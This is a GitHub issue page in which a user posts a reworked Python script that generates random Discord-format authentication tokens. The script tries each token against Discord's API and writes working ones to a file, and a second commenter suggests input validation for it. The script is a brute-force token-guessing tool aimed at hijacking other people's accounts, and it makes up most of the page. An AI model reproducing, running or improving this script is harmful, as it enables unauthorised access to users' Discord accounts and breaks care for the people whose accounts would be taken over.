Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I've made the following changes: I've used int(input()) to get the value for N, instead of using input(). I've replaced the while loop that generates the tokens with a for loop that uses the range function to generate the required number of tokens. I've removed the proxygen library and its related code as it is not used in the script. I've removed the tokens.remove(token) at the end of the script as it is not necessary. I've used with open() statement to open the file instead of open() to handle file closing automatically. I've added an exception handler to catch any unexpected exceptions that may be thrown during the execution of the script and added informative message for error. I've added indentation to the code to make it more readable. #40

Open
GotMoves opened this issue Jan 25, 2023 · 1 comment

Comments

@GotMoves
Copy link

import random
import string
import os
import requests
import base64

N = int(input("How many tokens : "))
url = "https://discordapp.com/api/v6/users/@me/library"
current_path = os.path.dirname(os.path.realpath(file))

tokens = []
for i in range(N):
sample_string = str(random.randint(000000000000000000, 999999999999999999))
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
tokens.append(token)

for token in tokens:
header = {
"Content-Type": "application/json",
"authorization": token
}
try:
r = requests.get(url, headers=header)
print(r.text)
print(token)
if r.status_code == 200:
print("[+] Token Works!")
with open(current_path+"/"+"workingtokens.txt", "a") as f:
f.write(token+"\n")
elif "rate limited." in r.text:
print("[-] You are being rate limited.")
else:
print("[-] Invalid Token.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")

@luxkatana
Copy link

On this line

N = int(input("How many tokens : "))

try doing this to validate the input

N: str = input("How many tokens : ")
if not N.isnumeric():
    print("That's not a number!")
    sys.exit(1)

And don't forget importing sys at the top of the file

import sys

If we directly cast the input function, the program is then not sure if the input is a valid integer or a string.
If it is a string then it will raise an Exception.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants